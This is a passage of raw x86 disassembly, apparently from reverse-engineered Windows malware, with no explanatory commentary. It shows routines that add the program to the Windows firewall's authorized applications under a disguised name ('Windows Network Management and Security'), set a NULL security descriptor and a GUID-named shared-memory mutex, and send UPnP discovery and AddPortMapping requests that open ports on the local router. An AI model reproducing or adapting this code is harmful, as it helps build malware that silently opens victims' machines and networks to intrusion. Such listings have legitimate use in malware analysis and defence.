		pop	ebx
		retn
sub_402106	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	si, [ebp+10h]
		xor	edi, edi
		jmp	short loc_402192
; ---------------------------------------------------------------------------


loc_40218F:				; CODE XREF: DMN0:004021A4j
		xor	edi, edi
		inc	edi


loc_402192:				; CODE XREF: DMN0:0040218Dj
		movzx	eax, si
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_402083
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40218F
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	esi, [ebp+10h]
		xor	edi, edi
		jmp	short loc_4021C0
; ---------------------------------------------------------------------------


loc_4021BD:				; CODE XREF: DMN0:004021CFj
		xor	edi, edi
		inc	edi


loc_4021C0:				; CODE XREF: DMN0:004021BBj
		push	esi
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_402106
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4021BD
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	ebx
		call	sub_401F9B
		pop	ecx
		mov	eax, [esp+10h]
		mov	esi, [eax+4]
		jmp	short loc_402201
; ---------------------------------------------------------------------------


loc_4021EE:				; CODE XREF: DMN0:00402203j
		movzx	eax, word ptr [esi]
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		call	sub_402049
		add	esp, 0Ch
		mov	esi, [esi+8]


loc_402201:				; CODE XREF: DMN0:004021ECj
		test	esi, esi
		jnz	short loc_4021EE
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402208	proc near		; CODE XREF: sub_402296+98p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E28	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40225A
		push	[ebp+arg_C]
		call	sub_4079E0
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E30	; RegCloseKey


loc_40225A:				; CODE XREF: sub_402208+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_402208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40225E	proc near		; CODE XREF: DMN0:0040237Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E34	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_402292
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E38	; RegDeleteKeyA
		push	[ebp+var_4]
		call	dword_411E30	; RegCloseKey


loc_402292:				; CODE XREF: sub_40225E+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_40225E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402296	proc near		; CODE XREF: sub_406A81:loc_406CB2p

var_20A		= byte ptr -20Ah
var_105		= byte ptr -105h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	104h
		lea	eax, [ebp+var_105]
		push	eax
		push	0
		call	dword_411CE0	; GetModuleFileNameA
		mov	ebx, eax
		mov	[ebp+ebx+var_105], 0
		cmp	[ebp+var_105], 0
		jz	short loc_402336
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		call	sub_407A00
		pop	ecx
		pop	ecx
		push	dword_4128A8
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_402208
		add	esp, 10h


loc_402336:				; CODE XREF: sub_402296+2Fj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402296	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	104h
		lea	eax, [ebp-105h]
		push	eax
		push	0
		call	dword_411CE0	; GetModuleFileNameA
		mov	ebx, eax
		mov	byte ptr [ebp+ebx-105h], 0
		cmp	byte ptr [ebp-105h], 0
		jz	short loc_402385
		lea	eax, [ebp-105h]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_40225E
		add	esp, 0Ch


loc_402385:				; CODE XREF: DMN0:0040236Aj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40238A	proc near		; CODE XREF: sub_4023DC+2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		cmp	dword_411008, 0
		jnz	short loc_4023D7
		push	14h
		push	40h
		call	dword_411CE4	; LocalAlloc
		mov	ebx, eax
		push	1
		push	ebx
		call	dword_411E3C	; InitializeSecurityDescriptor
		push	0
		push	0
		push	1
		push	ebx
		call	dword_411E40	; SetSecurityDescriptorDacl
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], 1
		mov	dword_411008, 1


loc_4023D7:				; CODE XREF: sub_40238A+Ej
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40238A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4023DC	proc near		; CODE XREF: sub_403C3F+7Fp
					; sub_406A81+23Fp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		call	sub_40238A
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	100h
		push	0
		push	4
		push	offset dword_41292C
		push	0FFFFFFFFh


loc_4023FB:				; DATA XREF: DMN1:00450CECo
		call	dword_411CE8	; CreateFileMappingA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_402446
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jz	short loc_402444
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CF0	; MapViewOfFile
		mov	esi, eax
		test	esi, esi
		jz	short loc_402444
		mov	ax, [esp+8+arg_0]
		mov	[esi], ax
		mov	ax, [esp+8+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF4	; UnmapViewOfFile


loc_402444:				; CODE XREF: sub_4023DC+36j
					; sub_4023DC+4Ej
		mov	eax, ebx


loc_402446:				; CODE XREF: sub_4023DC+29j
		pop	esi
		pop	ebx
		retn
sub_4023DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402449	proc near		; CODE XREF: sub_403C3F+9Bp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF8	; OpenFileMappingA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4024A2
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CF0	; MapViewOfFile
		mov	esi, eax
		test	esi, esi
		jz	short loc_402499
		mov	ax, [esp+0Ch+arg_0]
		mov	[esi], ax
		mov	ax, [esp+0Ch+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF4	; UnmapViewOfFile
		xor	edi, edi
		inc	edi


loc_402499:				; CODE XREF: sub_402449+33j
		push	ebx
		call	dword_411CFC	; CloseHandle
		mov	eax, edi


loc_4024A2:				; CODE XREF: sub_402449+1Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402449	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024A6	proc near		; CODE XREF: sub_404CDF+23p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	si, si
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF8	; OpenFileMappingA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4024CB
		mov	eax, 0FFFFh
		jmp	short loc_40250D
; ---------------------------------------------------------------------------


loc_4024CB:				; CODE XREF: sub_4024A6+1Cj
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CF0	; MapViewOfFile
		mov	edi, eax
		test	edi, edi
		jz	short loc_402503
		mov	si, [edi]
		test	si, si
		jz	short loc_4024F8
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, [edi+2]
		mov	[edx], ax
		jmp	short loc_4024FC
; ---------------------------------------------------------------------------


loc_4024F8:				; CODE XREF: sub_4024A6+43j
		mov	si, 0FFFFh


loc_4024FC:				; CODE XREF: sub_4024A6+50j
		push	edi
		call	dword_411CF4	; UnmapViewOfFile


loc_402503:				; CODE XREF: sub_4024A6+3Bj
		push	ebx
		call	dword_411CFC	; CloseHandle
		movzx	eax, si


loc_40250D:				; CODE XREF: sub_4024A6+23j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4024A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402511	proc near		; CODE XREF: sub_4025A9+2Dp
					; sub_402B02+23Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4079E0
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_4079E0
		pop	ecx
		mov	ebx, eax
		jmp	short loc_402555
; ---------------------------------------------------------------------------


loc_402537:				; CODE XREF: sub_402511+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411D00	; CompareStringA
		cmp	eax, 2
		jnz	short loc_402553
		mov	eax, esi
		jmp	short loc_40255B
; ---------------------------------------------------------------------------


loc_402553:				; CODE XREF: sub_402511+3Cj
		inc	esi
		dec	edi


loc_402555:				; CODE XREF: sub_402511+24j
		cmp	edi, ebx
		jge	short loc_402537
		xor	eax, eax


loc_40255B:				; CODE XREF: sub_402511+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402511	endp


; =============== S U B	R O U T	I N E =======================================



sub_402562	proc near		; CODE XREF: sub_4025A9+1C4p
					; sub_402896+12Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		call	dword_411CC8	; GetTickCount
		lea	esi, [eax+7D0h]


loc_402574:				; CODE XREF: sub_402562+40j
		push	ebx
		call	sub_401542
		pop	ecx
		test	eax, eax
		jle	short loc_402584
		xor	eax, eax
		inc	eax
		jmp	short loc_4025A6
; ---------------------------------------------------------------------------


loc_402584:				; CODE XREF: sub_402562+1Bj
		push	offset a_	; "."
		call	sub_4075F0
		pop	ecx
		push	12Ch
		call	dword_411D04	; Sleep
		call	dword_411CC8	; GetTickCount
		cmp	eax, esi
		jb	short loc_402574
		xor	eax, eax


loc_4025A6:				; CODE XREF: sub_402562+20j
		pop	esi
		pop	ebx
		retn
sub_402562	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4025A9	proc near		; CODE XREF: sub_402B02+337p

var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 468h
		push	ebx
		push	esi
		push	edi
		push	10h
		push	0
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_5C], 2
		xor	di, di
		push	offset aHttp	; "http://"
		push	[ebp+arg_0]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4025EB
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_4025EA:				; CODE XREF: sub_4025A9+4Aj
		inc	ebx


loc_4025EB:				; CODE XREF: sub_4025A9+38j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4025F5
		cmp	al, 2Fh
		jnz	short loc_4025EA


loc_4025F5:				; CODE XREF: sub_4025A9+46j
		jmp	short loc_4025F8
; ---------------------------------------------------------------------------


loc_4025F7:				; CODE XREF: sub_4025A9+57j
		inc	ebx


loc_4025F8:				; CODE XREF: sub_4025A9:loc_4025F5j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402602
		cmp	al, 2Fh
		jz	short loc_4025F7


loc_402602:				; CODE XREF: sub_4025A9+53j
		xor	esi, esi
		jmp	short loc_40261A
; ---------------------------------------------------------------------------


loc_402606:				; CODE XREF: sub_4025A9+7Dj
		cmp	esi, 3Fh
		jb	short loc_402612
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402612:				; CODE XREF: sub_4025A9+60j
		mov	al, [ebx]
		mov	[ebp+esi+var_40], al
		inc	esi
		inc	ebx


loc_40261A:				; CODE XREF: sub_4025A9+5Bj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402628
		cmp	al, 3Ah
		jz	short loc_402628
		cmp	al, 2Fh
		jnz	short loc_402606


loc_402628:				; CODE XREF: sub_4025A9+75j
					; sub_4025A9+79j
		mov	[ebp+esi+var_40], 0
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_402639
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402639:				; CODE XREF: sub_4025A9+87j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_402660
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402646:				; CODE XREF: sub_4025A9+C3j
		movzx	eax, di
		lea	eax, [eax+eax*4]
		add	eax, eax
		mov	di, ax
		movzx	eax, di
		movsx	edx, byte ptr [ebx]
		sub	edx, 30h
		add	eax, edx
		mov	di, ax
		inc	ebx


loc_402660:				; CODE XREF: sub_4025A9+94j
		mov	al, [ebx]
		test	al, al
		jz	short loc_40266E
		cmp	al, 30h
		jl	short loc_40266E
		cmp	al, 39h
		jle	short loc_402646


loc_40266E:				; CODE XREF: sub_4025A9+BBj
					; sub_4025A9+BFj
		cmp	di, 1
		jnb	short loc_40267C
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_40267B:				; CODE XREF: sub_4025A9+DBj
		inc	ebx


loc_40267C:				; CODE XREF: sub_4025A9+C9j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402686
		cmp	al, 2Fh
		jnz	short loc_40267B


loc_402686:				; CODE XREF: sub_4025A9+D7j
		cmp	byte ptr [ebx],	0
		jnz	short loc_402692
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402692:				; CODE XREF: sub_4025A9+E0j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_407098	; inet_addr
		mov	[ebp+var_58], eax
		movzx	eax, di
		push	eax
		call	sub_407068	; htons
		mov	[ebp+var_5A], ax
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
		call	sub_4075F0
		add	esp, 0Ch
		push	6
		push	1
		push	2
		call	sub_40704A	; socket
		mov	[ebp+var_44], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026D9
		and	[ebp+var_44], 0


loc_4026D9:				; CODE XREF: sub_4025A9+12Aj
		cmp	[ebp+var_44], 0
		jnz	short loc_4026E6
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_4026E6:				; CODE XREF: sub_4025A9+134j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_407098	; inet_addr
		movzx	edx, di
		push	edx
		push	eax
		push	[ebp+var_44]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402713
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402713:				; CODE XREF: sub_4025A9+158j
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ebx
		push	offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_407650
		add	esp, 14h
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_4079E0
		pop	ecx
		mov	[ebp+var_48], eax
		push	[ebp+var_48]
		lea	eax, [ebp+var_45C]
		push	eax
		push	[ebp+var_44]
		call	sub_401787
		add	esp, 0Ch
		cmp	eax, [ebp+var_48]
		jz	short loc_40276A
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_40276A:				; CODE XREF: sub_4025A9+1AFj
		push	[ebp+var_44]
		call	sub_402562
		pop	ecx
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_4C], eax
		push	0FFFFh
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_401713
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	short loc_4027D2
		push	[ebp+var_44]
		call	sub_401542
		pop	ecx
		mov	[ebp+var_468], eax
		cmp	eax, 0FFFFh
		jle	short loc_4027BB
		mov	[ebp+var_468], 0FFFFh


loc_4027BB:				; CODE XREF: sub_4025A9+206j
		push	[ebp+var_468]
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_48], eax


loc_4027D2:				; CODE XREF: sub_4025A9+1F0j
		push	[ebp+var_48]
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
		call	sub_4075F0
		add	esp, 10h
		cmp	[ebp+var_48], 1
		jge	short loc_402809
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402809:				; CODE XREF: sub_4025A9+245j
		push	offset asc_40F5EE ; "\n"
		push	[ebp+var_4C]
		call	sub_407A50
		pop	ecx
		pop	ecx
		mov	[ebp+var_460], eax
		test	eax, eax
		jnz	short loc_402838
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_40288F
; ---------------------------------------------------------------------------


loc_402838:				; CODE XREF: sub_4025A9+277j
		push	offset a200	; "200"
		push	[ebp+var_4C]
		call	sub_407A50
		pop	ecx
		pop	ecx
		mov	[ebp+var_464], eax
		test	eax, eax
		jz	short loc_402859
		cmp	eax, [ebp+var_460]
		jbe	short loc_40286F


loc_402859:				; CODE XREF: sub_4025A9+2A6j
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_40288F
; ---------------------------------------------------------------------------


loc_40286F:				; CODE XREF: sub_4025A9+2AEj
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407A00
		pop	ecx
		pop	ecx
		mov	edx, [ebp+arg_8]
		mov	[edx], di
		mov	eax, [ebp+var_4C]


loc_40288F:				; CODE XREF: sub_4025A9+3Cj
					; sub_4025A9+64j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4025A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402896	proc near		; CODE XREF: sub_402B02+50Fp
					; sub_402B02+53Dp

var_2014	= dword	ptr -2014h
var_2010	= dword	ptr -2010h
var_200C	= dword	ptr -200Ch
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h
arg_14		= word ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2014h
		call	sub_407AC0
		push	ebx
		push	esi
		push	edi
		movzx	eax, [ebp+arg_10]
		push	eax
		movzx	eax, [ebp+arg_14]
		push	eax
		push	offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_407650
		add	esp, 10h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4079E0
		pop	ecx
		mov	[ebp+var_200C],	eax
		cmp	[ebp+arg_0], 0
		jz	short loc_402904
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407650
		add	esp, 18h
		jmp	short loc_402929
; ---------------------------------------------------------------------------


loc_402904:				; CODE XREF: sub_402896+45j
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407650
		add	esp, 18h


loc_402929:				; CODE XREF: sub_402896+6Cj
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
		call	sub_4075F0
		add	esp, 0Ch
		call	sub_401359
		mov	edi, eax
		test	eax, eax
		jz	loc_402AFB
		push	[ebp+arg_4]
		call	sub_407098	; inet_addr
		movzx	edx, [ebp+arg_8]
		push	edx
		push	eax
		push	edi
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40298B
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_40298B:				; CODE XREF: sub_402896+E5j
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_4079E0
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_1008]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jz	short loc_4029C1
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_4029C1:				; CODE XREF: sub_402896+11Bj
		push	edi
		call	sub_402562
		pop	ecx
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_8], eax
		push	0FFFFh
		push	[ebp+var_8]
		push	edi
		call	sub_401713
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_402A21
		push	edi
		call	sub_401542
		pop	ecx
		mov	[ebp+var_2014],	eax
		cmp	eax, 0FFFFh
		jle	short loc_402A0C
		mov	[ebp+var_2014],	0FFFFh


loc_402A0C:				; CODE XREF: sub_402896+16Aj
		push	[ebp+var_2014]
		push	[ebp+var_8]
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_402A21:				; CODE XREF: sub_402896+156j
		push	[ebp+var_4]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
		call	sub_4075F0
		add	esp, 10h
		cmp	[ebp+var_4], 1
		jge	short loc_402A56
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_402A56:				; CODE XREF: sub_402896+1A7j
		push	offset asc_40F5EE ; "\n"
		push	[ebp+var_8]
		call	sub_407A50
		pop	ecx
		pop	ecx
		mov	[ebp+var_2010],	eax
		test	eax, eax
		jnz	short loc_402A83
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_402AFB
; ---------------------------------------------------------------------------


loc_402A83:				; CODE XREF: sub_402896+1D7j
		mov	ebx, [ebp+var_8]
		jmp	short loc_402A89
; ---------------------------------------------------------------------------


loc_402A88:				; CODE XREF: sub_402896+1FBj
		inc	ebx


loc_402A89:				; CODE XREF: sub_402896+1F0j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402A93
		cmp	al, 20h
		jnz	short loc_402A88


loc_402A93:				; CODE XREF: sub_402896+1F7j
		jmp	short loc_402A96
; ---------------------------------------------------------------------------


loc_402A95:				; CODE XREF: sub_402896+208j
		inc	ebx


loc_402A96:				; CODE XREF: sub_402896:loc_402A93j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402AA0
		cmp	al, 20h
		jz	short loc_402A95


loc_402AA0:				; CODE XREF: sub_402896+204j
		xor	esi, esi
		jmp	short loc_402AB4
; ---------------------------------------------------------------------------


loc_402AA4:				; CODE XREF: sub_402896+22Aj
		lea	esi, [esi+esi*4]
		add	esi, esi
		movsx	eax, byte ptr [ebx]
		sub	eax, 30h
		add	esi, eax
		inc	ebx
		jmp	short loc_402AC2
; ---------------------------------------------------------------------------


loc_402AB4:				; CODE XREF: sub_402896+20Cj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402AC2
		cmp	al, 30h
		jl	short loc_402AC2
		cmp	al, 39h
		jle	short loc_402AA4


loc_402AC2:				; CODE XREF: sub_402896+21Cj
					; sub_402896+222j ...
		push	esi
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
		call	sub_4075F0
		add	esp, 10h
		cmp	esi, 2
		jz	short loc_402AF1
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_402AFB
; ---------------------------------------------------------------------------


loc_402AF1:				; CODE XREF: sub_402896+245j
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		inc	eax


loc_402AFB:				; CODE XREF: sub_402896+C6j
					; sub_402896+F0j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B02	proc near		; CODE XREF: sub_40356A+6Cp
					; sub_404CDF+150p

var_18A0	= dword	ptr -18A0h
var_189C	= byte ptr -189Ch
var_188C	= dword	ptr -188Ch
var_1888	= dword	ptr -1888h
var_1884	= dword	ptr -1884h
var_187E	= byte ptr -187Eh
var_183E	= word ptr -183Eh
var_183C	= dword	ptr -183Ch
var_1838	= dword	ptr -1838h
var_1834	= dword	ptr -1834h
var_1830	= dword	ptr -1830h
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_181C	= word ptr -181Ch
var_181A	= word ptr -181Ah
var_1818	= dword	ptr -1818h
var_1809	= byte ptr -1809h
var_1409	= byte ptr -1409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 18A0h
		call	sub_407AC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1820],	3E8h
